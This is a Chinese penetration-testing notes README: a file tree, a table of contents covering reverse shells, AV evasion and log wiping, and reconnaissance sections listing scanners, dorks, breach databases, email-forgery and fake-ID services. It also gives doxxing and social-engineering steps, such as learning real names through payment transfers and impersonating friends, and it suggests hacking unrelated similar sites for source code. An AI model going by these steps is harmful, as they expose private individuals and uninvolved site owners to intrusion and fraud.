├── README.md
└── img
├── 640
├── 020d23c3d0324d088d30821178f4e640
├── 042bd6f0a9954246a3fdc9b6ee52003a
├── 04a9eff02197467e824394a4d7d169d6
├── 0d5a1e660be44476aec2b1310a686678
├── 1.4.6.png
├── 1.4.7.png
├── 10a0fd7fff40479888ff8c0c4828d3c1
├── 1b17381a87d049dfa1316a123a0f702e
├── 1c36d896178b4ff49c690fa0bfdb43f1
├── 20181119155904820.png
├── 20181119155959216.png
├── 20181119160153813.png
├── 2018111916443643.png
├── 20181119164552615.png
├── 20181119164947823.png
├── 20181119165219125.png
├── 20181119165829983.png
├── 20190519130854576.png
├── 2019051913123037.png
├── 20190722175301-7de41cd8-ac66-1.png
├── 2059787-20200715224555141-1298892077.png
├── 2059787-20200715224603427-816508208.png
├── 2059787-20200715224612696-1520388092.png
├── 2059787-20200715224623093-986828475.png
├── 2059787-20200715224628816-465374735.png
├── 2346fb6ca38d4898a81b1920e37ced11
├── 25479c224e12401097ef4646f52b14c1
├── 3085efce68554bb1a68a554107a74231
├── 35a542b7767642698a91f0b507344fef
├── 3680facddad648698153a8741e3ec61a
├── 37cae14710a144f183fe1e19839f47e9
├── 41916aabe2a247d9bf9b3088aca7a3b5
├── 46de3ddbab0041f69d456b787e45d843
├── 528ec065d3964c8f8671221cd0e00a56
├── 56c9e84d69514466a1d4f90c06878606
├── 5de872b6fc5843fcb8efc60420f09a23
├── 5e9ff6a3206a451ea89e71974f72f1d2
├── 63e9268f2dbf4a9c867b7682a1a21054
├── 642120c5e5a247c2ae577528163ba5b7
├── 681a4b15639b4cdeb1195c4dd1ba529b
├── 68747470733a2f2f692e696d6775722e636f6d2f553671456e58702e706e67
├── 68747470733a2f2f692e696d6775722e636f6d2f5850333952717a2e706e67
├── 72bc56bfebf64e4ba172e338aa3ed553
├── 741d9a8fc6714d9c9b8be1bb33d77b8d
├── 7680a6406ce945878557307d43fdb437
├── 8422d858480943cc834687a814db2734
├── 84c115a3f22e43e49cc9b108e7dee7be
├── 896fa4144e8a45979563fe31cbbb79cf
├── 8abbc72e7a0c4c629062ea6fc8e7ed31
├── 9cc5141d0bdf45faab6a059adfcde5b0
├── 9e4a9da381c94e66b406bacda546729d
├── a1e6033798d64d1c9e098e5e4416d5b8
├── bd28c7d78d564527856de8a733a2d034
├── bdb5e9edd33d46a6a836ddd745b74eb1
├── bdf2a4380b78457aa0a59504fe516d04
├── be5df3d4110c40e0bd188984c168ff21
├── c0da3e7d583f4b61a00d75a2072a9294
├── c125051f16bc49c29da567e9dc6cf96d
├── ca544b7a5a5d4d66b1929fac914070a4
├── d1c671b0e70443678e5403d6ed722cbe
├── dgdsfgergeqgbsadf6565.png
├── ea51968f293941acb8776c2e1e638c89
├── f2796f1fb34749669bf9226c50adb17f
├── f4f61e9a66774ed49a489cf3bf851d48
├── image-20201125140003211.png
├── image-20210107132946355.png
├── image-20210107133117637.png
├── image-20210107133210042.png
├── sffdfdfgedgewrg.png
├── t0112d44980cbec3f22.png
├── t011eb86eb5f0821b1c.png
├── t0130f58e0dd124e805.png
├── t0179f4650d065eae52.png
├── t01aec2b6bc79f41db9.png
├── t01b1b14df688454ae5.png
├── t01b708845cf66cd01d.png
└── t01c3e6c9239eb8cbf8.png
/README.md:
--------------------------------------------------------------------------------
1 | # PentestNote
2 | 一份笔记,方便查阅
3 |
4 | 推 荐 使 用 **typora** 进行阅读
5 |
6 | 第一份笔记,弄的太乱,已经不想再继续更新了。
7 | 后面更多的是把知识点细化到单个仓库。感兴趣的朋友,可以看我的其他仓库。
8 | 2021.11.3
9 |
10 | **Table of Contents**
11 |
12 | - [PentestNote](#pentestnote)
13 | - [请善用搜索[`Ctrl+F`]查找](#%E8%AF%B7%E5%96%84%E7%94%A8%E6%90%9C%E7%B4%A2ctrlf%E6%9F%A5%E6%89%BE)
14 | - [前期信息收集](#%E5%89%8D%E6%9C%9F%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86)
15 | - [工具推荐](#%E5%B7%A5%E5%85%B7%E6%8E%A8%E8%8D%90)
16 | - [子域名](#%E5%AD%90%E5%9F%9F%E5%90%8D)
17 | - [自动化信息收集](#%E8%87%AA%E5%8A%A8%E5%8C%96%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86)
18 | - [目录扫描](#%E7%9B%AE%E5%BD%95%E6%89%AB%E6%8F%8F)
19 | - [扫描器](#%E6%89%AB%E6%8F%8F%E5%99%A8)
20 | - [在线工具](#%E5%9C%A8%E7%BA%BF%E5%B7%A5%E5%85%B7)
21 | - [指纹](#%E6%8C%87%E7%BA%B9)
22 | - [网络空间搜索引擎](#%E7%BD%91%E7%BB%9C%E7%A9%BA%E9%97%B4%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E)
23 | - [综合扫描](#%E7%BB%BC%E5%90%88%E6%89%AB%E6%8F%8F)
24 | - [子域/旁站](#%E5%AD%90%E5%9F%9F%E6%97%81%E7%AB%99)
25 | - [dns历史记录](#dns%E5%8E%86%E5%8F%B2%E8%AE%B0%E5%BD%95)
26 | - [匿名](#%E5%8C%BF%E5%90%8D)
27 | - [裤子](#%E8%A3%A4%E5%AD%90)
28 | - [webshell查杀](#webshell%E6%9F%A5%E6%9D%80)
29 | - [恶意软件分析](#%E6%81%B6%E6%84%8F%E8%BD%AF%E4%BB%B6%E5%88%86%E6%9E%90)
30 | - [渗透测试](#%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95)
31 | - [资产](#%E8%B5%84%E4%BA%A7)
32 | - [实用](#%E5%AE%9E%E7%94%A8)
33 | - [历史漏洞](#%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E)
34 | - [目标站点源码获取技巧](#%E7%9B%AE%E6%A0%87%E7%AB%99%E7%82%B9%E6%BA%90%E7%A0%81%E8%8E%B7%E5%8F%96%E6%8A%80%E5%B7%A7)
35 | - [google语法](#google%E8%AF%AD%E6%B3%95)
36 | - [Github搜索](#github%E6%90%9C%E7%B4%A2)
37 | - [关于社工](#%E5%85%B3%E4%BA%8E%E7%A4%BE%E5%B7%A5)
38 | - [一点小技巧](#%E4%B8%80%E7%82%B9%E5%B0%8F%E6%8A%80%E5%B7%A7)
39 | - [一些信息收集的命令](#%E4%B8%80%E4%BA%9B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E7%9A%84%E5%91%BD%E4%BB%A4)
40 | - [互联网c段存活检测](#%E4%BA%92%E8%81%94%E7%BD%91c%E6%AE%B5%E5%AD%98%E6%B4%BB%E6%A3%80%E6%B5%8B)
41 | - [apk敏感信息收集](#apk%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86)
42 | - [mac下反编译apk](#mac%E4%B8%8B%E5%8F%8D%E7%BC%96%E8%AF%91apk)
43 | - [spring相关程序必扫字典](#spring%E7%9B%B8%E5%85%B3%E7%A8%8B%E5%BA%8F%E5%BF%85%E6%89%AB%E5%AD%97%E5%85%B8)
44 | - [漏洞攻击](#%E6%BC%8F%E6%B4%9E%E6%94%BB%E5%87%BB)
45 | - [文件读取漏洞](#%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E)
46 | - [文件包含漏洞](#%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E)
47 | - [sql注入漏洞](#sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E)
48 | - [文件上传漏洞](#%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E)
49 | - [命令执行](#%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C)
50 | - [结果外带](#%E7%BB%93%E6%9E%9C%E5%A4%96%E5%B8%A6)
51 | - [未授权漏洞](#%E6%9C%AA%E6%8E%88%E6%9D%83%E6%BC%8F%E6%B4%9E)
52 | - [redis](#redis)
53 | - [**常用命令**](#%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4)
54 | - [**利用**](#%E5%88%A9%E7%94%A8)
55 | - [写ssh-keygen登录](#%E5%86%99ssh-keygen%E7%99%BB%E5%BD%95)
56 | - [写计划任务反弹shell](#%E5%86%99%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1%E5%8F%8D%E5%BC%B9shell)
57 | - [写webshell](#%E5%86%99webshell)
58 | - [利用主从复制获取shell](#%E5%88%A9%E7%94%A8%E4%B8%BB%E4%BB%8E%E5%A4%8D%E5%88%B6%E8%8E%B7%E5%8F%96shell)
59 | - [其他姿势](#%E5%85%B6%E4%BB%96%E5%A7%BF%E5%8A%BF)
60 | - [敏感信息泄漏利用](#%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E5%88%A9%E7%94%A8)
61 | - [阿里云Access Key利用](#%E9%98%BF%E9%87%8C%E4%BA%91access-key%E5%88%A9%E7%94%A8)
62 | - [alicloud利用工具](#alicloud%E5%88%A9%E7%94%A8%E5%B7%A5%E5%85%B7)
63 | - [中间件安全](#%E4%B8%AD%E9%97%B4%E4%BB%B6%E5%AE%89%E5%85%A8)
64 | - [tomcat安全](#tomcat%E5%AE%89%E5%85%A8)
65 | - [数据库安全](#%E6%95%B0%E6%8D%AE%E5%BA%93%E5%AE%89%E5%85%A8)
66 | - [mysql渗透总结](#mysql%E6%B8%97%E9%80%8F%E6%80%BB%E7%BB%93)
67 | - [一、sqlshell获取](#%E4%B8%80sqlshell%E8%8E%B7%E5%8F%96)
68 | - [二、mysql拿shell](#%E4%BA%8Cmysql%E6%8B%BFshell)
69 | - [1、用命令直接导出shell](#1%E7%94%A8%E5%91%BD%E4%BB%A4%E7%9B%B4%E6%8E%A5%E5%AF%BC%E5%87%BAshell)
70 | - [2、利用general_log拿shell](#2%E5%88%A9%E7%94%A8general_log%E6%8B%BFshell)
71 | - [三、任意文件读取](#%E4%B8%89%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96)
72 | - [四、mysql提权](#%E5%9B%9Bmysql%E6%8F%90%E6%9D%83)
73 | - [五、拓展](#%E4%BA%94%E6%8B%93%E5%B1%95)
74 | - [六、参考](#%E5%85%AD%E5%8F%82%E8%80%83)
75 | - [mssql渗透总结](#mssql%E6%B8%97%E9%80%8F%E6%80%BB%E7%BB%93)
76 | - [getshell](#getshell)
77 | - [寻找绝对路径](#%E5%AF%BB%E6%89%BE%E7%BB%9D%E5%AF%B9%E8%B7%AF%E5%BE%84)
78 | - [xp_cmdshell拿shell](#xp_cmdshell%E6%8B%BFshell)
79 | - [差异备份拿shell](#%E5%B7%AE%E5%BC%82%E5%A4%87%E4%BB%BD%E6%8B%BFshell)
80 | - [log备份拿shell](#log%E5%A4%87%E4%BB%BD%E6%8B%BFshell)
81 | - [getsystem](#getsystem)
82 | - [xp_cmdshell](#xp_cmdshell)
83 | - [sp_oacreate](#sp_oacreate)
84 | - [沙盒提权](#%E6%B2%99%E7%9B%92%E6%8F%90%E6%9D%83)
85 | - [xp_regwrite](#xp_regwrite)
86 | - [**工具使用**](#%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8)
87 | - [sqlmap](#sqlmap)
88 | - [**sqlmap详细命令参数**](#sqlmap%E8%AF%A6%E7%BB%86%E5%91%BD%E4%BB%A4%E5%8F%82%E6%95%B0)
89 | - [sqlmap使用](#sqlmap%E4%BD%BF%E7%94%A8)
90 | - [Tamper使用](#tamper%E4%BD%BF%E7%94%A8)
91 | - [Aircrack-ng破解WIFI密码](#aircrack-ng%E7%A0%B4%E8%A7%A3wifi%E5%AF%86%E7%A0%81)
92 | - [爆破攻击](#%E7%88%86%E7%A0%B4%E6%94%BB%E5%87%BB)
93 | - [Hydra](#hydra)
94 | - [Medusa](#medusa)
95 | - [getshell方法](#getshell%E6%96%B9%E6%B3%95)
96 | - [利用JavaScript转写php](#%E5%88%A9%E7%94%A8javascript%E8%BD%AC%E5%86%99php)
97 | - [命令执行写shell](#%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E5%86%99shell)
98 | - [二次法](#%E4%BA%8C%E6%AC%A1%E6%B3%95)
99 | - [鱼叉攻击](#%E9%B1%BC%E5%8F%89%E6%94%BB%E5%87%BB)
100 | - [权限维持](#%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81)
101 | - [提权检测脚本](#%E6%8F%90%E6%9D%83%E6%A3%80%E6%B5%8B%E8%84%9A%E6%9C%AC)
102 | - [利用msf提权](#%E5%88%A9%E7%94%A8msf%E6%8F%90%E6%9D%83)
103 | - [安卓锁屏破解](#%E5%AE%89%E5%8D%93%E9%94%81%E5%B1%8F%E7%A0%B4%E8%A7%A3)
104 | - [交互shell获取](#%E4%BA%A4%E4%BA%92shell%E8%8E%B7%E5%8F%96)
105 | - [无交互账号添加](#%E6%97%A0%E4%BA%A4%E4%BA%92%E8%B4%A6%E5%8F%B7%E6%B7%BB%E5%8A%A0)
106 | - [Cobalt Strike笔记](#cobalt-strike%E7%AC%94%E8%AE%B0)
107 | - [argue参数污染](#argue%E5%8F%82%E6%95%B0%E6%B1%A1%E6%9F%93)
108 | - [bypass disable_function](#bypass-disable_function)
109 | - [隧道工具](#%E9%9A%A7%E9%81%93%E5%B7%A5%E5%85%B7)
110 | - [痕迹清理](#%E7%97%95%E8%BF%B9%E6%B8%85%E7%90%86)
111 | - [windows清理](#windows%E6%B8%85%E7%90%86)
112 | - [日志清除](#%E6%97%A5%E5%BF%97%E6%B8%85%E9%99%A4)
113 | - [永久擦除技巧](#%E6%B0%B8%E4%B9%85%E6%93%A6%E9%99%A4%E6%8A%80%E5%B7%A7)
114 | - [清除远程桌面连接记录](#%E6%B8%85%E9%99%A4%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E8%BF%9E%E6%8E%A5%E8%AE%B0%E5%BD%95)
115 | - [利用Metasploit 痕迹清除](#%E5%88%A9%E7%94%A8metasploit-%E7%97%95%E8%BF%B9%E6%B8%85%E9%99%A4)
116 | - [linux清理](#linux%E6%B8%85%E7%90%86)
117 | - [日志清除](#%E6%97%A5%E5%BF%97%E6%B8%85%E9%99%A4-1)
118 | - [永久擦除技巧](#%E6%B0%B8%E4%B9%85%E6%93%A6%E9%99%A4%E6%8A%80%E5%B7%A7-1)
119 | - [清除history记录](#%E6%B8%85%E9%99%A4history%E8%AE%B0%E5%BD%95)
120 | - [隐藏远程SSH登陆记录](#%E9%9A%90%E8%97%8F%E8%BF%9C%E7%A8%8Bssh%E7%99%BB%E9%99%86%E8%AE%B0%E5%BD%95)
121 | - [横向移动](#%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8)
122 | - [内网常用命令](#%E5%86%85%E7%BD%91%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4)
123 | - [密码搜集](#%E5%AF%86%E7%A0%81%E6%90%9C%E9%9B%86)
124 | - [文件查找](#%E6%96%87%E4%BB%B6%E6%9F%A5%E6%89%BE)
125 | - [连通性](#%E8%BF%9E%E9%80%9A%E6%80%A7)
126 | - [域信息收集](#%E5%9F%9F%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86)
127 | - [常用信息收集](#%E5%B8%B8%E7%94%A8%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86)
128 | - [环境信息搜集](#%E7%8E%AF%E5%A2%83%E4%BF%A1%E6%81%AF%E6%90%9C%E9%9B%86)
129 | - [内网渗透合集](#%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E5%90%88%E9%9B%86)
130 | - [payload生成](#payload%E7%94%9F%E6%88%90)
131 | - [payload下载&白名单bypass](#payload%E4%B8%8B%E8%BD%BD%E7%99%BD%E5%90%8D%E5%8D%95bypass)
132 | - [python文件服务器](#python%E6%96%87%E4%BB%B6%E6%9C%8D%E5%8A%A1%E5%99%A8)
133 | - [ftp](#ftp)
134 | - [ODBCCONF利用dll](#odbcconf%E5%88%A9%E7%94%A8dll)
135 | - [cmstp利用dll](#cmstp%E5%88%A9%E7%94%A8dll)
136 | - [Rundll](#rundll)
137 | - [Regsvr32](#regsvr32)
138 | - [vbs](#vbs)
139 | - [powershell](#powershell)
140 | - [certutil](#certutil)
141 | - [csc](#csc)
142 | - [Desktopimgdownldr](#desktopimgdownldr)
143 | - [CertReq](#certreq)
144 | - [Unix-GTFOBins](#unix-gtfobins)
145 | - [**whois**](#whois)
146 | - [PIP](#pip)
147 | - [Msiexec](#msiexec)
148 | - [MSBuild](#msbuild)
149 | - [Wmic](#wmic)
150 | - [hta](#hta)
151 | - [bitsadmin](#bitsadmin)
152 | - [Installutil](#installutil)
153 | - [Installutil&csc配合使用](#installutilcsc%E9%85%8D%E5%90%88%E4%BD%BF%E7%94%A8)
154 | - [regasm和regsvcs](#regasm%E5%92%8Cregsvcs)
155 | - [uuid](#uuid)
156 | - [免杀](#%E5%85%8D%E6%9D%80)
157 | - [payload分离免杀](#payload%E5%88%86%E7%A6%BB%E5%85%8D%E6%9D%80)
158 | - [免杀loader(20210220)](#%E5%85%8D%E6%9D%80loader20210220)
159 | - [shellcode loader](#shellcode-loader)
160 | - [反弹shell](#%E5%8F%8D%E5%BC%B9shell)
161 | - [监听](#%E7%9B%91%E5%90%AC)
162 | - [bash](#bash)
163 | - [perl](#perl)
164 | - [python](#python)
165 | - [php](#php)
166 | - [ruby](#ruby)
167 | - [nc](#nc)
168 | - [java](#java)
169 | - [lua](#lua)
170 | - [powershell](#powershell-1)
171 | - [OpenSsl加密隧道反弹](#openssl%E5%8A%A0%E5%AF%86%E9%9A%A7%E9%81%93%E5%8F%8D%E5%BC%B9)
172 | - [linux命令笔记](#linux%E5%91%BD%E4%BB%A4%E7%AC%94%E8%AE%B0)
173 | - [基础常用命令](#%E5%9F%BA%E7%A1%80%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4)
174 | - [用户、权限-相关命令](#%E7%94%A8%E6%88%B7%E6%9D%83%E9%99%90-%E7%9B%B8%E5%85%B3%E5%91%BD%E4%BB%A4)
175 | - [磁盘管理](#%E7%A3%81%E7%9B%98%E7%AE%A1%E7%90%86)
176 | - [wget 下载文件](#wget-%E4%B8%8B%E8%BD%BD%E6%96%87%E4%BB%B6)
177 | - [其他常用命令](#%E5%85%B6%E4%BB%96%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4)
178 | - [AWK命令](#awk%E5%91%BD%E4%BB%A4)
179 | - [shell编程](#shell%E7%BC%96%E7%A8%8B)
180 | - [docker命令笔记](#docker%E5%91%BD%E4%BB%A4%E7%AC%94%E8%AE%B0)
181 | - [ubuntu踩坑记录](#ubuntu%E8%B8%A9%E5%9D%91%E8%AE%B0%E5%BD%95)
182 | - [git 笔记](#git-%E7%AC%94%E8%AE%B0)
183 | - [当前项目(仓库)记住密码](#%E5%BD%93%E5%89%8D%E9%A1%B9%E7%9B%AE%E4%BB%93%E5%BA%93%E8%AE%B0%E4%BD%8F%E5%AF%86%E7%A0%81)
184 | - [编程语言学习笔记](#%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0)
185 | - [常用正则](#%E5%B8%B8%E7%94%A8%E6%AD%A3%E5%88%99)
186 | - [php](#php-1)
187 | - [读书笔记](#%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0)
188 | - [漏洞笔记](
189 |
190 | ## 请善用搜索[`Ctrl+F`]查找
191 |
192 | 不定时更新,权当是记笔记了.
193 |
194 | 很多东西会先在公众号进行更新,有需要的先关注。
195 |
196 |
197 | # 前期信息收集
198 |
199 |
200 |
201 | ## 工具推荐
202 |
203 | ### 子域名
204 |
205 | - OneForAll https://github.com/shmilylty/OneForAll
206 | - ksubdomain:https://github.com/knownsec/ksubdomain
207 | - subDomainsBrute https://github.com/lijiejie/subDomainsBrute
208 |
209 |
210 |
211 | ### 自动化信息收集
212 |
213 | - ARL https://github.com/TophantTechnology/ARL
214 | -
215 |
216 |
217 |
218 | ### 目录扫描
219 |
220 | win下面用御剑和7kbscan就够了,关键得看字典吧.我公众号之前有推荐过
221 |
222 | - Safe6目录扫描 https://github.com/safe6Sec/dirScan
223 | - dirsearch:https://github.com/maurosoria/dirsearch
224 | - 7kbscan:https://github.com/7kbstorm/7kbscan-WebPathBrute
225 |
226 |
227 |
228 | ### 扫描器
229 |
230 | - nessus扫主机
231 | - awvs 扫web
232 | - burp 不用说
233 | - nmap 扫端口
234 | - rustscan 超快的端口扫描,扫完自动调用nmap识别指纹(速度太快了有时候有些端口出不来) https://github.com/RustScan/RustScan
235 | - xray 结合burp用来被动扫描 https://github.com/chaitin/xray
236 |
237 |
238 |
239 | ### 在线工具
240 |
241 | #### 指纹
242 |
243 | - https://www.godeye.vip/
244 |
245 | - http://whatweb.bugscaner.com/look
246 |
247 | - http://finger.tidesec.net/
248 | - https://phonebook.cz/ 目标资产,如邮箱
249 |
250 | #### 网络空间搜索引擎
251 |
252 | - https://quake.360.cn/
253 | - https://fofa.so/
254 | - https://www.zoomeye.org/
255 | - https://www.shodan.io/
256 |
257 | #### 综合扫描
258 |
259 | - https://scan.top15.cn/web/
260 | - https://pentest-tools.com/information-gathering/google-hacking#
261 |
262 | #### 子域/旁站
263 |
264 | - https://phpinfo.me/old/domain
265 | - https://webscan.cc/
266 | - https://dnsdumpster.com/
267 | - https://www.yougetsignal.com/tools/web-sites-on-web-server/
268 | - https://www.robtex.com/
269 | - https://www.dnsscan.cn/
270 |
271 | #### dns历史记录
272 |
273 | 可用来找真实ip
274 |
275 | - http://www.siteinfotool.com/
276 | - http://toolbar.netcraft.com/site_report
277 | - https://dnsdumpster.com/
278 | - https://viewdns.info/iphistory/
279 | - https://asm.ca.com/
280 |
281 | #### 匿名
282 |
283 | - Sms
284 | https://www.materialtools.com/
285 | http://receivefreesms.com/
286 | - Email
287 | https://10minutemail.net/
288 | https://zh.mytrashmailer.com/
289 | http://24mail.chacuo.net/enus
290 | https://www.linshiyouxiang.net/
291 | - Fake id
292 | https://www.fakenamegenerator.com/
293 | http://www.haoweichi.com/
294 | https://www.fakeaddressgenerator.com/
295 | - ip代理池
296 | - 临时文件 https://bashupload.com/
297 | - https://ppng.io/ 临时文件
298 | - tor网络
299 | - https://emkei.cz/ 邮件伪造
300 | - 免费域名 https://www.freenom.com/zh/index.html?lang=zh
301 | - dns http://xip.io/
302 | - 云短信https://www.materialtools.com/
303 |
304 | #### 裤子
305 |
306 | - http://site3.sjk.space/
307 | - https://ghostproject.fr/
308 | -
309 |
310 | #### webshell查杀
311 |
312 | - D盾http://www.d99net.net/
313 | - 河马https://www.webshell.pub/
314 | - webdir++https://scanner.baidu.com/
315 |
316 | #### 恶意软件分析
317 |
318 | - https://www.virustotal.com/
319 | - http://www.virscan.org/
320 | - https://www.virscan.org/
321 | - https://s.threatbook.cn/ 云沙箱
322 | - https://habo.qq.com/
323 | - https://ti.qianxin.com/
324 | - https://sandbox.ti.qianxin.com/sandbox/page qax沙箱
325 | - http://appscan.360.cn/ app扫描
326 | - https://service.security.tencent.com/kingkong app
327 | - https://www.appscan.io/ app
328 | - https://www.ostorlab.co/ app 国外的
329 | - https://app.any.run/ 最强沙箱
330 |
331 | #### 渗透测试
332 |
333 | - https://www.revshells.com/ 反弹shell
334 | - https://i.hacking8.com/tiquan/ Windows提权辅助补丁查询
335 | - https://pentest-tools.com/information-gathering/google-hacking# 谷歌hacking多种
336 |
337 | #### 资产
338 |
339 | - https://opendata.rapid7.com/
340 |
341 | #### 实用
342 |
343 | - 解析bash命令 https://explainshell.com/
344 | - 终端录制 https://asciinema.org/
345 | - 正则搜索 https://ihateregex.io/
346 |
347 |
348 |
349 |
350 |
351 | ## 历史漏洞
352 |
353 | - https://cxsecurity.com/
354 | - http://vulhub.org.cn/ (常用)
355 | - http://cve.scap.org.cn/
356 | - http://www.cnnvd.org.cn/
357 | - https://vulmon.com/ (常用)
358 | - https://sploitus.com (常用)
359 | - https://vulners.com
360 | - https://www.exploit-db.com/ (常用)
361 | - https://www.seebug.org/
362 | - https://packetstormsecurity.com/
363 | - https://snyk.io/vuln (常用)
364 | - https://www.cvedetails.com/
365 | - https://www.cvebase.com/ (常用,cve分析和poc)
366 | - 乌云镜像
367 | - https://baizesec.github.io/bylibrary/ 白泽文库
368 | - https://github.com/Mr-xn/Penetration_Testing_POC poc&exp各种工具
369 |
370 |
371 |
372 | ## 目标站点源码获取技巧
373 |
374 | 参考文章:https://www.anquanke.com/post/id/224420 如何利⽤Quake挖掘某授权⼚商边缘站点漏洞
375 |
376 |
377 |
378 | 如果站点删除对应特征的title关键词,可以根据favicon来搜索使用同套相似框架的站点。
379 |
380 | 当然假如quake没有给出这个站点的icon值,你也可以根据 `curl http://xxxx.com/favicon.ico|md5sum`的方式,得到站点ico的md5,然后利用quake语法,`favicon:"{MD5}"`搜索。
381 |
382 | 运气较好,在quake的第一页就发现了和厂商使用同样cms,并且明示用了什么框架的站点
383 |
384 |
385 |
386 | **如何利用360quake搜索相似站点,并获得源码**
387 |
388 | 这里一般我们搜索相似源码的站点有以下几种方式:
389 |
390 | - 1、`根据favicon搜索`
391 | - 2、`根据首页页面里的一些特征,利用body:"{特征}"来搜索`
392 | - 3、`根据response里的header头特征来搜索,一般是在cookie里有设置特定的cookie。比如shiro的rememberMe=xxx,或者apache的ofbiz。`
393 | - 4、`根据cert里Issuer、Subject特征搜索,一些单位、甚至部门信息会包含在ssl证书内容之中。`
394 |
395 | 搜索到相似站点后,有几种方式搞到源码:
396 |
397 | - 1、`对相似站点进行入侵,getshell后获得源码(动静较大)`
398 | - 2、`对相似站点批量扫备份文件`
399 | - 3、`得知cms的名称去凌风云网盘搜索该cms源码是否有人分享`
400 | - 4、`闲鱼搜有没有对应源码有人在买卖`
401 | - 5、`去github,gitee搜有没有相似的源码,是否是根据别人的源码二次开发的成品`
402 |
403 |
404 |
405 |
406 |
407 |
408 | ## google语法
409 |
410 | 1. 后台地址
411 |
412 | - site:xxx.xxx 管理后台/登陆/管理员/系统
413 | - site:xxx.xxx inurl:login/admin/system/guanli/denglu
414 | - site:xxx.xxx intext:"登陆"
415 |
416 | 1. 敏感文件
417 |
418 | - site:xxx.xxx filetype:pdf/doc/xls/txt
419 | - site:xxx.xxx filetype:log/sql/conf
420 |
421 | 1. 测试环境
422 |
423 | - site:xxx.xxx inurl:test/ceshi
424 | - site:xxx.xxx intitle:测试
425 |
426 | 1. 邮箱/QQ/群
427 |
428 | - site:xxx.xxx 邮件/email
429 | - site:xxx.xxx qq/群/企鹅/腾讯
430 |
431 | 1. 其他
432 |
433 | - site:xxx.xxx inurl:api
434 | - site:xxx.xxx inurl:uid=/id=
435 | - site:xxx.xxx intitle:index of
436 |
437 | ## Github搜索
438 |
439 | - @xxx.xxx password/secret/credentials/token/config/pass/login/ftp/ssh/pwd
440 | - @xxx.xxx security_credentials/connetionstring/JDBC/ssh2_auth_password/send_keys
441 | - "domain.com" API_KEY
442 | - "domain.com" login
443 | - "domain.com" password
444 |
445 | ## 关于社工
446 |
447 | 1. 查询whois得到电话,邮箱,备案号.备案号查注册人
448 |
449 | 2. 电话通过支付宝转帐获取真实姓名,利用qq反查微信,qq推测
450 |
451 | 3. 电话号码添加到通讯录,让第三方app通过通讯录匹配出信息(抖音,支付宝,qq,微信......)
452 |
453 | 4. 社工库,tg群查泄漏密码
454 |
455 | 5. 手机号查注册过的网站
456 |
457 | ```
458 | https://www.reg007.com/
459 | https://www.usersearch.org/
460 | ```
461 |
462 | 6. 得到管理员设置密码习惯,命名习惯.进行爆破,跑备份
463 |
464 | 7. 利用个人信息生成社工字典
465 |
466 | 8. 冒充目标好友
467 |
468 | 9. 近源渗透,wifi,badusb
469 |
470 | 10. 鱼叉攻击
471 |
472 | 1. https://mp.weixin.qq.com/s/SzKX0XrAjgo7SL2GYjtSAg 干货 | 邮件钓鱼攻击学习
473 | 2. https://mp.weixin.qq.com/s?__biz=MjM5NzE1NjA0MQ%3D%3D&mid=2651202725&idx=1&sn=955fd4c6d80b320a57a3bc7b34fa24f8&scene=45#wechat_redirect红蓝对抗之邮件钓鱼攻击
474 | 3. https://mp.weixin.qq.com/s/aatNjey3swZz7T4Yw_LqsQ 红队测试之邮箱打点
475 | 4. https://mp.weixin.qq.com/s/gFkFcl2M_SI7UYmosUnTOg 邮件钓鱼平台搭建以及基础使用场景
476 | 5. https://mp.weixin.qq.com/s/_3PpI4hKYZRPuYQs2nh67w 钓鱼攻击中文件的几种姿势
477 |
478 | 11. 水坑攻击
479 |
480 | 12. 可通过微博进行定位,qq抓ip定位,图片exif定位
481 |
482 | 13. 各种匿名
483 |
484 | 14. 密码生成
485 |
486 | - 撞库
487 | - 常见手机号
488 | - 常见登录账号(admin、manager、test、deme)
489 | - 数字组合(0-9、00-99、000-999、0000-9999、00000-99999)
490 | - 拼音(zhangsan、zhang.san、zhangs)
491 | - 中文(张三、李四、张san)
492 | - 英文名(Tom、Jeo、Cherry)
493 | - 单位名(zssx123、zssx@123)
494 | - 地名(beijing123、beijing@123)
495 | - 组合(地名+单位名)
496 | - 域名(baidu@123、JD@123)
497 | - 生日组合
498 |
499 |
500 |
501 |
502 | ## 一点小技巧
503 |
504 | 1. 无头绪的时候,可以去fofa找相同类型的站点拿下,然后进行代码审计.
505 | 2. 主站一般没机会,尽量的去收集目标资产(渗透本质是信息收集),没有拿不下的站点,只要信息收集到位.如果还不行就社工.
506 | 3. 遇到难啃的骨头,可以对报403的目录进行扫描,也许会有不错的收获
507 | 1. bypass参考https://mp.weixin.qq.com/s/_hcVp9u7OIHnYW1l7lQiCQ
